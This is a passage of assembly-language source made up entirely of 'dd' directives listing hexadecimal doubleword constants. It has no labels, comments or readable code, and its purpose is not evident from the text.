8308908Bh, 0B68A80A4h, 15140CC8h, 521689Fh dd 784DE6D3h, 80800AB1h, 31815D34h, 7E4E0EA1h, 34D0507Dh dd 8DB0BBEh, 0A90EEC0h, 9107B01Eh, 6D4903F0h, 0A9A0F922h dd 803A280h, 1C636BFh, 89210186h, 4D1BB46Eh, 8402D011h dd 0E8B8744Bh, 0B20E9065h, 0DED613E0h, 38358084h, 5FCF102Fh dd 0C01BB181h, 0BAE88621h, 0BE28B37Fh, 33740460h, 11C84A1h dd 7F8C1DDCh, 13208FCCh, 77BE04C8h, 2CEC89BFh, 0DDE05DB8h dd 28C4EA94h, 8C8480D2h, 306F2827h, 0D02D5F8h, 3A701283h dd 0C0888AD8h, 0A420DC81h, 7D0D251h, 808947D8h, 118405D1h dd 7F04DB4Ch, 7780BF50h, 490EA302h, 850CACDCh, 0F043B4B0h dd 0D182FF70h, 0DC7CE9BFh, 840941DFh, 9050707Bh, 0A3291EE9h dd 89DC2958h, 606B2A93h, 52A23005h, 0D4A2D248h, 66A50704h dd 774482CCh, 6453F49Ah, 0B4F0A427h, 30E02084h, 0E5D20F4Dh dd 0B5A6BF02h, 0EC60E80Ah, 7D97AC0h, 2FD64A8Ah, 0A487FA18h dd 119D0630h, 99264E00h, 9FB94A66h, 139E6C3h, 8EF443Eh dd 2FD973E6h, 0F6D4F4h, 2C58E455h, 169396E7h, 103A0E30h dd 60EDABAFh, 1E8F283Fh, 0FD277165h, 1C4544Ah, 0BFCFC029h dd 83886FCh, 9886997h, 73AFE9A2h, 1DF08077h, 80F9FC6Bh dd 0E80609DFh, 8037F1ACh, 0A3F20520h, 3C214440h, 0FA461A20h dd 0F9678219h, 56A8C0C8h, 0EF0A7D03h, 88B69AD9h, 1EEE74Fh dd 0D686673Ah, 802F81C1h, 530C7431h, 722E531h, 32AD2E84h dd 8C484973h, 5300246Eh, 409E860Dh, 59FF9DC1h, 76006480h dd 5D92DDAAh, 4200571Ah, 481D4D3Dh, 0DE9A94h, 0D4A224D8h dd 0F186110Ch, 1413A31Eh, 75A4DC54h, 7CB9832Bh, 3B123C10h dd 9C26FA67h, 0FB4D2BF0h, 587AC498h, 0A68F99h, 8505DD91h dd 3242E569h, 3B105C00h, 71AB657Dh, 0EE0A243h, 69E28C88h dd 59F4ADh, 7E852FA2h, 356D8D1Eh, 5600C7E4h, 0BA486329h dd 78716415h, 0DB6080B6h, 14D5B124h, 0A9AC3940h, 5B7D8035h dd 61597EAh, 0B87C12F4h, 0A0FA46EFh, 8684F593h, 0DC391206h dd 80CCB1h, 7E1BA88Ah, 0A615594Dh, 2A60509Dh, 0FF81D81h dd 95BCB103h, 0A5B21640h, 475C0E49h, 58DE0023h, 155F8A1Fh dd 3898E536h, 29DAF832h, 92FA4415h, 6F3E8Ch, 0EB390EEFh dd 0CC10EE50h, 0CF21A509h, 0F13AEFFAh, 76F986B8h, 0C17859h dd 57F3E8ECh, 0FCFAA29Fh, 0A60061F8h, 0EE1AF169h, 49E81312h dd 0DAED2496h, 0E488A8B5h, 88FFC4F4h, 0D5034300h, 3ECB970h dd 0A4700C12h, 5698D69Dh, 321E5779h, 6FE392Fh, 7A36D5D4h dd 62822A59h, 876701B8h, 0F37EEFDCh, 77B8C86Dh, 0D1614B00h dd 0A38E115Fh, 0FBE72812h, 44B009B4h, 4D78B99h, 0C488FAF0h dd 8D8C03B4h, 47ECE8EFh, 0A0C99400h, 4819083Ch, 4CE62439h dd 38B7180Ch, 0F8CDB10Ch, 4093491Bh, 716C0422h, 1F1D4777h dd 33B8C3A6h, 2CF190AEh, 2FC07DF1h, 0AA274E0h, 0C80531EBh dd 0FF6580B0h, 10720C9Fh, 791CD500h, 1274695Bh, 621B0909h dd 8803438h, 0E7075059h, 7F118E00h, 31C8E513h, 22A4984Dh dd 0B9241AE6h, 0E089CDFh, 0A97E83C7h, 400C5F39h, 78EDC50Fh dd 9731BE5h, 0A011B84Dh, 6C91AF30h, 11141B88h, 0FCFFE320h dd 0BD63E760h, 8018474Ch, 0FF198FADh, 0FC3B4B9Dh, 4A5FCFB8h dd 138094B7h, 0F4877FEFh, 9FC000C9h, 2F53F9D8h, 33FA828h dd 0BB62812Eh, 4BF81D5Fh, 8CFCF0A5h, 0DE08B06Ah, 0E9A60349h dd 18058995h, 0CFE907Ch, 0D27088h, 5F516CDCh, 57704DCCh dd 0C908E466h, 0D4330021h, 8A01A96Ch, 0EC0169E0h, 0ABE60594h dd 0D08076D9h, 105EB72Eh, 21264B0Ah, 29086006h, 598A04DAh dd 58CCBF49h, 18D5001Dh, 6FD7F1BCh, 0FF04EE5Eh, 58211503h dd 0F499888h, 0A2EBB157h, 0AA93CE40h, 3FE8D2B0h, 5FEC21C0h dd 51CA8B1h, 882D59A2h dd 1280280Dh, 0D4AAD600h, 2D1A463Fh, 34ACE478h, 0C2983023h dd 530E660h, 0E5361153h, 8018886Ah, 38521DABh, 2B007EDBh dd 0C8E32A25h, 29DE80Eh, 5BE7B72Fh, 88802889h, 0EE25AC38h dd 194434A7h, 0FF886460h, 0A888154h, 0E3A71314h, 0B5AA1DF2h dd 0B6E85980h, 1A1189Ch, 0E7DE19C0h, 615BDDABh, 6F285814h dd 18FBF8A1h, 566C08E9h, 0C6C4D45Fh, 6CC13440h, 0D8FB1081h dd 8401EBBFh, 0FD591EA1h, 0B4406ADAh, 0E0824D01h, 5B7E0916h dd 42971E5h, 5A94907Fh, 64B949FFh, 634CE707h, 7BC680DFh dd 0F7023764h, 36FC3F56h, 1504570h, 0E2D81110h, 63AC4192h dd 9943273h, 0AA95A690h, 4B90B88Ch, 5E29D90Bh, 70341C31h dd 0FB5939C6h, 0A8838A1Ch, 892CD19Fh, 0DACC3A1Dh, 0AD50D8h dd 47AB558Dh, 26AAD5E2h, 599DC377h, 1169D40h, 597F27E0h dd 30076173h, 48C5A58h, 3904EF38h, 1F5381Bh, 260BEFFFh dd 50DF0D02h, 0B51999B8h, 0BA954C00h, 9F0715DCh, 854094A4h dd 302F0553h, 21C345ACh, 5734744Dh, 13BF2368h, 0E516090Ah dd 6434300Ah, 22544320h, 0ED882253h, 1BB96D00h, 285DB309h dd 7D2728F9h, 700F49C8h, 46296308h, 1394D42h, 263AFB94h dd 343000F0h, 4DF020FFh, 0E98B5C11h, 0E597AD01h, 410FEEF4h dd 876382F8h, 0E0D57789h, 50174290h, 0F6AA014Ah, 9E97DC6Dh dd 160C26D2h, 7C205912h, 7B7C17h, 0B3412139h, 70FF2C49h dd 27C9E100h, 1F17C243h, 550B398Fh, 76F1C80h, 22598734h dd 927941C0h, 2A58933h, 27E8293Bh, 5C60C1A0h, 63803C6Dh dd 0DCBB5470h, 0C069F89Eh, 0C447F5B1h, 5929888Ah, 2D017C7Bh dd 0D90E1692h, 908C4080h, 3FE628F5h, 62F6F413h, 74405029h dd 0A52CB786h, 80C211E4h, 0E5325309h, 2284430Ah, 216F001Bh dd 37A27E53h, 92189A9Bh, 0E590AD4Fh, 0CEA8003Fh, 0AA8BB908h dd 6C30255Fh, 0F64F887Eh, 0A73EE9B4h, 0F99C0068h, 0F3261386h dd 0A83C93A1h, 69024B8h, 3C02E93Ch, 4C47ACDh, 465E0C94h dd 8A9F0120h, 644D5F57h, 63A0A888h, 29FDF585h, 417DB462h dd 35185BBCh, 3905EF08h, 4EAAC453h, 0D2F000F6h, 0D41F94h dd 1A9D8AE0h, 8FFF25A7h, 0DA27BE0Fh, 0ABD5E2F5h, 92544077h dd 0E25C802Dh, 82BA0313h, 80A865AEh, 0D8B187FAh, 4F57C407h dd 0C1603C67h, 6CE7F92Ah, 0CCC8309Bh, 44E22F41h, 0BF891720h dd 0B00E02D6h, 0C488C25h, 584C6330h, 79040074h, 808BB486h dd 9CDD26D0h, 0BE080E9Dh, 0C7CC8965h, 4204F88h, 471E3C99h dd 0FB4D0203h, 3045FA40h, 0B6218F08h, 43741E54h, 165F9601h dd 0EF60C064h, 30ADEAF8h, 9A60987Fh, 47305979h, 0D1245901h dd 0BBD803C6h, 83DBA5B5h, 210B0930h, 3C6C944h, 17FC553Dh dd 0EC80D6E2h, 62005E35h, 8758B584h, 0B79E64h, 1A39BAF6h dd 3F667A77h, 0FA4041DFh, 7C12FDC8h, 50E3104h, 8F144818h dd 848A3521h, 0CD80DD65h, 87E7E1h, 7D950643h, 49E54F23h dd 6BB5EE0Ch, 7BBC07Bh, 1BFD28F6h, 52DFF077h, 80A08661h dd 0D500A979h, 0CCF0CFC1h, 66087560h, 2182089Dh, 0C1CD4700h dd 0A40A83ECh, 0EED303F9h, 0E2E4F6FEh, 66465000h, 48915EA7h dd 0DDE1003Fh, 8E2DB6C2h, 7960C78Ch, 4426E580h, 65B883FEh dd 0A0683CBFh, 4674D830h, 5059018Eh, 34C0CF2Eh, 161E3D0h dd 8A3F08F1h, 40E6AE5Dh, 83F94380h, 97025F7Eh, 0DE040245h dd 68C08035h, 0CF99168Fh, 3E863380h, 9C001836h, 0C850E1EBh dd 7D7AFB72h, 3199C065h, 1C07E02Eh, 0B4A67705h, 6C607FF3h dd 153BB853h, 0EC43EFA1h, 365F081h, 49318198h, 83978CA6h dd 6068CC48h, 6669580Ah, 8F601EAFh, 856D2C98h, 68BE0365h dd 7B56BF59h, 0F0B51802h, 48748FADh, 0CDD57Ch, 1FC3AC6Eh dd 43467F90h, 64CD852h, 0B2F55DECh, 49B90030h, 2C3550EAh dd 0BF1869C2h, 6258928Ah, 0C4F8A97Bh, 0BBB70h, 0BD2867FAh dd 7AE0C924h, 0FF56637Ah, 3AB040FCh, 9C644F01h, 0C4E92F14h dd 30CEE842h, 49111E3Eh, 92883D02h, 1E56B880h, 4CDC72B7h dd 0F00620BFh, 0B19C7F8Dh, 4199FE4Ch, 0EFC858A4h, 242804F8h dd 0F91ADC2Bh, 84D86BB9h, 0CE6054D4h, 0BB23D5C6h, 3F0F11DDh dd 9005F17Fh, 7EC0F94Eh, 5C4C804h, 0DF8CB601h, 0CA70A4A0h dd 181FCD1Dh, 0C0E28903h, 0A2C10927h, 0EC215834h, 0D03BBF64h dd 0AA0C3F43h, 1806EDFCh, 329E00CFh, 7A99299Ch, 1B30CA69h dd 0B88A4182h, 3DF4F8FBh, 0D28930D6h, 3C10617Ah, 29DEFA35h dd 8F666801h, 9C22A5CAh, 97F07730h, 0E15B9EB0h, 5A1640E8h dd 3802EFC5h, 0D7D61B76h, 780404E6h, 87952244h, 51202062h dd 0CD14470h, 0D6AAB095h, 8C000250h, 0F387C376h, 6E0AA897h dd 4A8318ECh, 680134C9h, 0EDE1E996h, 0F06B80C1h, 90006E68h dd 0E275DB7Bh, 820B2Eh, 81734D3Ah, 1A0E0F40h, 250C377Ah dd 0FCE78704h, 638DF96h, 18138E17h, 5CC94F1Fh, 41A605A0h dd 0AF6C0C2Fh, 865A88Ch, 584DDADEh, 540DBC4h, 0A990DE5Dh dd 0A46EB03h, 629557Ah, 0CED88FB0h, 8116C8DAh, 72BB1539h dd 970334D8h, 1396F9DBh, 914D5083h, 9000A4D4h, 0C4891EA8h dd 16C38706h, 0BED976DFh, 8DB1C72h, 0C1787820h, 8D160F8Ch dd 0F0E07EF4h, 0A14FE06Ch, 3098C030h, 70850D17h, 0EC405B8Ch dd 6962C350h, 32F100CBh, 0C0B274F3h, 0E19A470h, 23D0127Eh dd 2D78DCECh, 58769F8Dh, 81180240h, 0E75907Bh, 5E2C0323h dd 0CB793062h, 0B51446DFh, 9E7970F9h, 0E5008B18h, 9CF47B54h dd 1E5F723Fh, 18914E6Bh, 8F04B89Fh, 83CC31C0h, 32DF719h dd 0B5DE6125h, 0B181070Fh, 48A26F51h, 598C7B02h, 0E08E2605h dd 8B9D12CEh, 9775EC0Bh, 9F9D91B4h, 93CCC283h, 0B64DA341h dd 2F7D12EEh, 911404C9h, 9C5C001Bh, 0E8275Ah, 0F44EBE0Ch dd 16D406A8h, 0F0FC075Ah, 67016E23h, 684DDCDEh, 0C388E26Eh dd 0B8DE5F07h, 20B83D21h, 4812ED76h, 0C054A0C5h, 8C25E8D8h dd 20079074h, 740127F8h, 0A0D4F73h, 36A90421h, 95754B58h dd 3846BDE0h, 94888199h, 71DB8F3Eh, 0B8B06302h, 7A11CF23h dd 9A88410Ah, 0CF81C89Ch, 0EAE98FF3h, 30D402ECh, 0CA02196h dd 262D0EA6h, 0AD4CDE31h, 9DCE8F4h, 0BB0E1998h, 9D513480h dd 3E2624D3h, 98BB24DEh, 0A5311D8Ch, 91520449h, 82B08B2Ah dd 2F208944h, 0F2E2FEh, 9EA454D8h, 2A12C8F9h, 88F8062Ah dd 79E8F9B5h, 90118D8h, 0AB8499C6h, 6E26401h, 0C5C85368h dd 94D3290Ch, 1613A11Ch, 0FF498205h, 8006B021h, 0D1E081A1h dd 2C18DCh, 887C5C73h, 4BC0144h, 25AF820Ah, 5010306Dh dd 782BEFD6h, 1800DF23h, 0E9EFA08Eh, 6C770452h, 921D4590h dd 0F490F440h, 2E00C8E6h, 2AEA3452h, 0E677028Dh, 44BC9A6Bh dd 9F2D1B1Ch, 44DCFEC5h, 1E34985Eh, 0A75CF08h, 4097C419h dd 5FCF16C3h, 0BEB91E7Fh, 0D3938284h, 0E3DF2AA0h, 0EC895168h dd 0FDAD008h, 0FC1A853Ch, 5C5BE640h, 2F03FA0Eh, 0A6B4F441h dd 0E818D0F3h, 18E77750h, 0A8176E16h, 0B5B8CFBAh, 594F4835h dd 0C8B8CBBAh, 0A0F7C620h, 0C63E23h, 4BB9553Ah, 0C91244CAh dd 541F8714h, 3049900Ah, 79A67205h, 0E7049Ch, 0E94C087Eh dd 64FF674Ah, 7C91D424h, 0DDC9D142h, 47E60C6h, 0E86C71C0h dd 2EE7CC3Ch, 0D3D7E6h, 21A95BAFh, 2A159793h, 1898D30Ch dd 7C8115ADh, 0F29E012Eh, 24B8D6AFh, 7CE36E82h, 2892D30Dh dd 816F6179h, 98B2B769h dd 0C0D8DC61h, 9450BDB9h, 0EC3AD810h, 5DC8E913h, 0ACA1C55Ch dd 8A948882h, 4E5887E5h, 61C16F03h, 0F46E4405h, 9F3401E8h dd 14038024h, 0CAB6CB2Ah, 0D7CC8414h, 23447960h, 0DE8F952Dh dd 71525884h, 35454400h, 9E3CF395h, 2734Dh, 1F2D1B6Dh dd 0CA2CA099h, 238CF859h, 0CF220162h, 0E390A79h, 0CF1AC703h dd 6A80DE41h, 0D2FED43Dh, 4E608502h, 8DFC99h, 0F51554A6h dd 43B9C91h, 95FF12DBh, 636FC087h, 137F5EB0h, 0B0843F0h dd 7A0BE724h, 0AA6B1420h, 50FD9581h, 0C826B190h, 598AB0A0h dd 803EAD2Eh, 4D8DDF81h, 0EC4584C1h, 2C0081BBh, 3444628Ch dd 0A00CE01Eh, 9801C1E9h, 7D99209Ch, 5A806B1Dh, 95502A18h dd 8C0F54A0h, 0F14A2E47h, 835380B4h, 0E2BD2308h, 517A800Bh dd 9896D53Eh, 9A2068D9h, 0EC506DE1h, 0B8D64FE7h, 38B62064h dd 52DC0118h, 619E1BA0h, 4E9099DFh, 56B9AF24h, 7999400Ch dd 0D839BE05h, 5C3C0E36h, 0D57D6374h, 3A07F0C2h, 74C95C89h dd 14AC5C40h, 9C331D81h, 1F24684h, 22F15A0Ch, 820F8307h dd 19986040h, 0DE0154B3h, 0EDA46987h, 60883618h, 0EA8700D6h dd 969F25CCh, 4252E20Ah, 7B900040h, 8A171AD4h, 0ADF0C639h dd 0D00D919h, 1EF19A1Dh, 3015C1h, 0D55FF723h, 0C4EC1362h dd 16B09517h, 0A897D830h, 842EF56h, 0FEA4825Ch, 4230532h dd 0C8CC69B8h, 0D47E6CF4h, 0EE3AD20Bh, 0C03428DAh, 5174E20Ch dd 45D33913h, 91535900h, 4A0E7A4Bh, 28D89E51h, 8C26E834h dd 21BED000h, 90FCF88Bh, 9D82170Ch, 0A4BC4148h, 2D33161Eh dd 0AA141204h, 1BCA10D1h, 0BCA1C500h, 489E8540h, 0A0160C79h dd 2FAC57D4h, 96230Ch, 0C9E797D3h, 409AB240h, 0CDE3061Ch dd 0C00087D2h, 62B8C675h, 39956304h, 16C0674Bh, 87009A43h dd 92796083h, 7909675h, 361AE80Ah, 81523410h, 58F18F4h dd 0A1EF2001h, 840A90Ch, 43B4914Dh, 90A10882h, 0A844887h dd 1D089140h, 99E488F5h, 2124044Bh, 3A580453h, 0F517030Fh dd 0BF190022h, 9FB639BEh, 6662F9D2h, 631157E0h, 0F8801024h dd 0A6B0286h, 4421B94Ah, 82D3F888h, 1AC44DFh, 70D2E567h dd 717FE41Ch, 58DAEC98h, 138F1E0Bh, 0A7400481h, 2215A059h dd 201C7098h, 8989C359h, 1344774Ch, 2C01970h, 23C35141h dd 85F70040h, 95898E12h, 0E9730405h, 9AB58D07h, 0B693EBFFh dd 9785C0B7h, 0D210D4AAh, 49068C18h, 0E1309D01h, 0D0FF3631h dd 0E7810166h, 890F6F40h, 1827BB0Bh, 0BA0D0586h, 3E943C3Ah dd 0C30E6A30h, 404CB899h, 17610CC2h, 30531BE9h, 203503E8h dd 89E4C35Bh, 22675C52h, 53431E17h, 19ED80C3h, 0C5BD01C6h dd 894A0761h, 0ECD18E85h, 90515791h, 301DF292h, 9100F050h dd 0F2FF2212h, 0C113DCFAh, 6D8D8B4Ah, 85985130h, 52335286h dd 0E4C35A30h, 0C5545389h, 0C3524280h, 5D0196E7h, 8BE6402Ch dd 0C84150D3h, 6A013235h, 0C658BD04h, 88C3581Ch, 40704489h dd 91C30050h, 90CDD929h, 1460E89Eh, 7CA3491Dh, 0B0B2F20Fh dd 0CD48007Dh, 0CAA0AA89h, 9F007AF4h, 802A5271h, 0A5A68E2h dd 1ECD958Bh, 1D190D76h, 7D7210Ch, 0D2BF6148h, 88544B50h dd 0D58ECF18h, 0EECC105h, 0E908A5D9h, 0AAEA8180h, 920D77D1h dd 0F9790119h, 0B966369Fh, 1D8F7F0h, 0CB02CA81h, 0FF567DE2h dd 8BFA90B5h, 950909D0h, 522E0C8Dh, 0C2711C6h, 7032F879h dd 8260861Bh, 10ADE8h, 28F99D89h, 66610CC0h, 3240EABFh dd 5682C08Bh, 0C35E6F90h, 744689E4h, 46001B22h, 6EAFC356h dd 18B06B5h, 8381C545h, 0B8164DBDh, 9751860h, 88112112h dd 50301974h, 0D2B87253h, 8D4CD007h, 0F23B910h, 0CCC49D8Dh dd 2BD3D4EBh, 1022585Bh, 0C4204317h, 265B5B3h, 36D2C9DEh dd 5609E1E1h, 0F198493h, 0E8D3128Dh, 76034FB8h, 0F2E70117h dd 0E0B92F88h, 0FEEAF03h, 0EE95Ah, 7D08E625h, 0ABF9B3EAh dd 873FE300h, 997C7577h, 0BD851BC7h, 319E6601h, 718D890Ch dd 0ED29142Fh, 680D02FFh, 0CEE4E7B8h, 21D5EF83h, 0CF85C70Eh dd 0D031D039h, 8F0651E2h, 88DBD433h, 1DEE54C0h, 0FA370EA0h dd 95508AA1h, 50974536h, 3240C51Bh, 74C0390Bh, 32D88B98h dd 0EC4409EAh, 1F09A4D3h, 0CD388366h, 0EDEC0A75h, 5688190Eh dd 251D22A1h, 0F88317F1h, 358873E1h, 0EC92FB1h, 800911ABh dd 742CF9BDh, 1044851Ah, 0B5BA0E66h, 1A0CE971h, 0CC50B112h dd 0D724CFF0h, 9081579h, 2C3AB70Eh, 8066B163h, 0A159C3C4h dd 85AADDFDh, 1C5746EEh, 8988C35Fh, 4114C47Ch, 6FC35747h dd 40CD1360h, 0CEE4B91Eh, 0DC7B6724h, 6E8E0F0Ah, 0E860F919h dd 0A5001E22h, 24692AF1h, 5C00FB23h, 7E2E410h, 60E9D2F2h dd 429B2711h, 0BE000F22h, 19B73336h, 0E5A0E0C8h, 33DA91D0h dd 0F585A75h, 0BA89D0F2h, 24BABB88h, 99A60920h, 82D15D84h dd 0E266ED05h, 5D1C5546h, 6C8988C3h, 45401CC4h, 0CFEBC355h dd 0E895B700h, 2047F138h, 92A5B003h, 0FF6A262Ah, 1446748Eh dd 0FC578614h, 0CA810622h, 5907C60Dh, 190936h, 0EEB6B2DBh dd 453DB40Ch, 41620748h, 0BCAC0C6Ah, 1F00A0FCh, 0C78AA236h dd 1410EB21h, 863B6E9Dh, 945AD314h, 207C910h, 15BCECBAh dd 0FE0D4018h, 0A7EB59F9h, 0A63A38E8h, 0C3B8112h, 0B2BC50F3h dd 416D7664h, 2B04640Eh, 42CA4282h, 49E5643Dh, 677CCF88h dd 880B8CFBh, 465C4C4Ah, 457F001Ch, 2C5F2E41h, 61D817CAh dd 51D0889h, 0B5295002h, 0ED01647Dh, 0D17D7EA1h, 2C011816h dd 112D4632h, 862B495Dh, 0FCE25A57h, 2377FD25h, 12825AA0h dd 0B67AF50Bh, 0C1B990E9h, 11A3138Ch, 310C0BB1h, 79858703h dd 0F680CF09h, 8878A5B4h, 1923A83Fh, 15516400h, 4C141D91h dd 0F2093760h, 830208BDh, 610516C9h, 0F48E7B25h, 60CF1A88h dd 482D9F06h, 0EC6248E5h, 20E9FE16h, 0A8689E50h, 0BB63BD00h dd 0BAD96F7h, 0F97C0155h, 132E4DEEh, 0D19C85A3h, 0BA0D33FEh dd 44EEF79Ch, 5058442Ch, 1DD1F8B1h, 0CF004F18h, 63EC144Bh dd 39B9C898h, 0B256B689h, 40DCE824h, 0C93890B7h, 50F6C707h dd 8DD256D9h, 812E5045h, 8761B5FAh, 0BC621A4Ah, 68617D5h dd 8B0B5B94h, 1103A1BDh, 60134B6Ah, 3F2DC8CCh, 2477300h dd 39CB53AFh, 0D90C0009h, 0FA9F1D0Ah, 960451C7h, 50612117h dd 3C7CB6CCh, 0C0003CD6h, 7464844Fh, 0E73983DDh, 6CCC8A54h dd 0C64C7109h, 5C0656A5h, 29CA8B01h, 42313D85h, 8127985Eh dd 12196590h, 11668167h, 85810FE8h, 0B7DC3E62h, 0F3AAF418h dd 8A631601h, 0DDC5891Eh, 0E4CE7120h, 0B150125Ah, 4B6B29D0h dd 0C01D8837h, 0CA07AA76h, 84E2A138h, 0F835FA25h, 2F450EC7h dd 0E8E6E64h, 0BBC01788h, 35539721h, 91198A0Fh, 172725D7h dd 0E3251A65h, 7BE15F03h, 0FFCCB4ABh, 957E00A5h, 31514899h dd 29784364h, 0BC02AD24h, 0F19E5A0h, 60312781h, 7BD373h dd 523E80C3h, 97AE0821h, 0D0F9B601h, 0CE830F5h, 0CDC02780h dd 0BDFDBB11h, 764DA600h, 58FED928h, 65B4AC61h, 28277889h dd 0A40ABF8Eh, 2A2B7F52h, 8D5C4680h, 0FE112CDCh, 0CBC80B3Ah dd 0CE022B9Ch, 9D82E16Eh, 2D818C85h, 480E518Dh, 8088298Ah dd 24C059CAh, 0D94CBD3Fh, 51B101A3h, 4C49590Fh, 0F2007188h dd 0FFB04F2Ch, 382470h, 4C83D46Dh, 0C0742922h, 0B8FE2019h dd 56AC908Eh, 0C200F413h, 0E9081207h, 484B75E4h, 110D8DAh dd 468171Fh, 1D168859h dd 2085BA2Ch, 6DAF21FBh, 0FCF20626h, 132E5061h, 0F0FC4524h dd 80883101h, 0FAF86FD1h, 8A128395h, 118608EBh, 67A1F78Fh dd 62D36FABh, 3ECE16EEh, 7D7F03F2h, 8DA947C1h, 5A3F83BDh dd 0BFC0855Fh, 0E4BC9339h, 0E10CB4h, 51C91A03h, 0EF815540h dd 84713409h, 11594525h, 0A2CE534Ch, 51F73016h, 17BAE607h dd 0E9A12C01h, 284E1488h, 8CC31988h, 0C9F2F711h, 0B90B50ABh dd 33374695h, 0B0DE830h, 0C59896h, 0A3B11726h, 0F669FCA4h dd 0F86BF20Dh, 0AED425Fh, 46847A41h, 0C1AC8C14h, 39429000h dd 87B9AE32h, 8CF73C01h, 30CA1402h, 0EE827A7Eh, 440CFABDh dd 644840Bh, 8AB1070Ch, 0B9BF03B4h, 20F82249h, 0DCAA4524h dd 4D16392Ch, 9EB201E1h, 82A86090h, 4C50C9BFh, 0B935A33Bh dd 280415D9h, 3D44848Bh, 0C58D1233h, 4648220Ch, 958B5221h dd 5F39DE22h, 0C7332AB4h, 0B06146Fh, 26E41860h, 0DAF700AFh dd 0F595621Bh, 7900F363h, 0D2514B3Ah, 80F9CDB8h, 61F4A2E8h dd 962F6EC8h, 6E040650h, 7E451614h, 0C9A5DA20h, 111D506Bh dd 7851511h, 3D9E046Bh, 0D0B9000Dh, 907E628Fh, 3A520AFh dd 0D7EA8002h, 7010C483h, 0D1B727A0h, 0D311FB1Fh, 9D17FEFDh dd 1610258Bh, 210C7341h, 88F577DFh, 0C1BD1989h, 0DA81220Ah dd 6F0A1244h, 0FE616572h, 0C73DA41Ah, 60174496h, 496A967Ah dd 0ED837CFh, 4286FC5Dh, 40B5467Eh, 0C6120CB2h, 2E40E585h dd 184F6844h, 34964EA3h, 15FDB7E2h, 892CD88Bh, 948432D3h dd 247BAE81h, 0CE710874h, 42280649h, 1000565Bh, 39F3D181h dd 2A290738h, 9CB4E18Dh, 620B670Ch, 127B3135h, 0E8E58225h dd 741778F1h, 0C34D530Fh, 0D83015F2h, 416ABA4Ah, 95C4602Bh dd 60A41913h, 310544CBh, 22194D8Dh, 0A251DCADh, 3BDAF81Eh dd 0FD576029h, 0E41B9930h, 8D8B4120h, 5052811h, 40289AFh dd 0A4FB072Dh, 1641496Bh, 0D2DF1FAh, 0F328FEB7h, 48B68312h dd 391C7A0Dh, 99F86720h, 521364E4h, 0A824D02Ch, 0C426B94Bh dd 16115B73h, 3AF21A30h, 0D8E40016h, 0F897D0ABh, 7D0007B3h dd 44E773DFh, 98321EA5h, 4A63014h, 0B8C68032h, 691AC90h dd 0C81FD4F9h, 0BD3474D4h, 0CC84F339h, 86A0DAE5h, 8012F687h dd 0E12E8501h, 3F94590Bh, 8704659Ch, 0CB2D07E3h, 7B0BD880h dd 42C977A6h, 7970C4A9h, 601B440Fh, 8880A8B1h, 0ECE0E4DEh dd 8A09008Fh, 9C3717FCh, 0F375ED7h, 61062782h, 2A2524A4h dd 9F66499Bh, 4656B49Ch, 0AB880215h, 4AB58529h, 4471C4B8h dd 6F92600Eh, 2DA089F4h, 6E62C480h, 53A0858Ah, 2CDAD80Ch dd 0B00D68BAh, 489EF94Ch, 2F45A041h, 0A2046B44h, 6023195Dh dd 0B34D7A33h, 20144A61h, 76028C96h, 0E14E9705h, 33F3E567h dd 111BB126h, 30092E06h, 5F18D42Ah, 956FFA8Bh, 16246999h dd 9E676732h, 0FF601844h, 17FA4926h, 0B1952312h, 0AA05D484h dd 9B3A50CFh, 0B0C1523h, 8801C8D7h, 9D2409F9h, 6A9F0AA5h dd 0A83F891Eh, 70CD0817h, 0B2380AFEh, 98C17BCh, 0A9A47ED2h dd 21B59602h, 1FF6801h, 65FCBB42h, 41339A73h, 6C70FF7Bh dd 0FDBEA0F5h, 0CA0A82FAh, 0E14449A3h, 695FBF06h, 452C4CE3h dd 0C64460D3h, 0E2755052h, 7F6D3015h, 0E5EAB905h, 41B33E31h dd 5D10574Ch, 8A5B7C04h, 0D1BD4D20h, 0FD50812Dh, 383F1013h dd 0DBB2007Eh, 0EF9BE7D0h, 4E3B3B2Bh, 5EBE823Dh, 0C243840Ch dd 51A292D7h, 1691014Dh, 0C078F001h, 8000864Ah, 0D7AAE69Bh dd 49A85A3Bh, 5F26217Fh, 3F8C1201h, 71723C2h, 0C9122B48h dd 12B2FD09h, 2671BB82h, 77A94A0Eh, 3B27F188h, 19C5F924h dd 476081A4h, 661F9CD4h, 4F04B813h, 12009484h, 3E4977BAh dd 25BAC42Ah, 0B221F327h, 9E0A301Ch, 9DEADF00h, 0ED667270h dd 56102BAh, 12B677B2h, 374B6986h, 1B449087h, 364F160h dd 0E0126F02h, 90E8CE0Ah, 95856FDh, 0C1B440EAh, 0F2003364h dd 0B0CE3709h, 0F6D064h, 0AEFE9E1Bh, 0E7ADFA6Dh, 0AE5A6E28h dd 0FD1FA131h, 0A122F910h, 646A44C8h, 1D465Ch, 3B06E5E4h dd 4770A5Bh, 8BDA45FEh, 0C8AB9CCBh, 58AAE952h, 7C0DE30h dd 446DA8B8h, 9F673A6Bh, 0C8B21D24h, 90E113FBh, 0C19D01C8h dd 680E1C6Ah, 0F6BF66C0h, 7AF5A274h, 40999676h, 5EDF72ABh dd 0CF52E370h, 0D0C22D6h, 1861BD01h, 0D5D26054h, 382BCCBCh dd 190AE26h, 1EA3DC69h, 2084499Dh, 24CA8166h, 0C9437388h dd 660021E4h, 237BC62Fh, 65D1B9C0h, 4590AE42h, 99174931h dd 29F7368Dh, 81002BD6h, 467670F1h, 216F931Eh, 8F133B6Ch dd 0C9038906h, 95C18525h, 352711F9h, 3EC5B1B8h, 8BD38242h dd 468068CEh, 2B9930D4h, 880F03F3h, 9624E291h, 246E5C60h dd 90BB00AEh, 8DA72BCh, 8F3430A1h, 87A2568Dh, 0D50C4503h dd 0CEE48818h, 0C01DC8E0h, 0E3C21471h, 0D501C476h, 2908A3F5h dd 1A247DBDh, 452FD668h, 0A517C1B1h, 2861735Fh, 0CD6A3CEh dd 1723703Eh, 0E298AD01h, 402BE9B3h, 0DD9E1814h, 0F9074A75h dd 0D28985BCh, 72482400h, 83CA0A2Eh, 8C0FFF8h, 810004F1h dd 0EE613CC9h, 0E5D4A367h, 4F854CE4h, 12ED1D8Ah, 8E210CEh dd 1AE20224h, 9542AFDAh, 0F59FA081h, 0E152805Ah, 438AC0BFh dd 449DFA03h, 62D0D00Eh, 0F2349894h, 1C5083EFh, 2F449D19h dd 516058C0h, 57120222h, 0B38F615Eh, 43FED888h, 1D95B7D8h dd 0FDA0F4F7h, 95120135h, 1B042D92h, 0D6B80B21h, 0B1198E89h dd 28890982h, 0DA4C0AB5h, 86B36CA4h, 390F2178h, 0B792ECC7h dd 